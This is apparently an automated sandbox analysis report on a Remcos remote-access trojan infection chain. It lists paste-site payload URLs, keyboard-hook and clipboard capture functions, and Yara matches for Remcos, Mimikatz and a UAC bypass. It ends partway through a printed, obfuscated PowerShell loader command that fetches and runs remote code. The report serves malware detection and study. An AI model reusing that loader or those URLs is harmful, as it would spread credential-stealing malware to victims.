Source: powershell.exe, 00000003.00000002.1919143366.000002203DC0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2943623698.000002204C172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2409816379.0000015C9A3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2311218245.000002804C253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACDCA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3550000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.1778802424.0000018ACD883000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D49A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000007.00000002.1778802424.0000018ACD883000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D49A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000003.00000002.1919143366.000002203C323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D835000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D8B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DB93000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DB96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/d80GV/0
Source: powershell.exe, 00000003.00000002.1919143366.000002203DB93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/d80GV/0P
Source: powershell.exe, 00000003.00000002.1919143366.000002203D835000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/jm8qu/0
Source: powershell.exe, 00000003.00000002.1919143366.000002203C323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D835000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/jm8qu/08
Source: powershell.exe, 00000003.00000002.1919143366.000002203D835000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/jm8qu/0P
Source: powershell.exe, 00000003.00000002.1919143366.000002203C700000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/r322U/0
Source: powershell.exe, 0000000D.00000002.1948758053.000001AB893C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 0000000D.00000002.1948758053.000001AB893C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/pQQ0n3eA
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe	String found in binary or memory: https://www.google.com
Source: AddInProcess32.exe	String found in binary or memory: https://www.google.com/accounts/servicelogin
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49751 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,00000000

23_2_0040A2F3

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

23_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	23_2_004168FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,	29_2_0040987A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	29_2_004098E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	30_2_00406DFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,	30_2_00406E9F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	31_2_004068B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,	31_2_004072B5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

23_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

23_2_0040A41B

Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\kanspt.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041CA6D SystemParametersInfoW,		23_2_0041CA6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041CA73 SystemParametersInfoW,		23_2_0041CA73

System Summary

Malicious sample detected (through community Yara rule)

Source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1800, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1928, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 1928, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 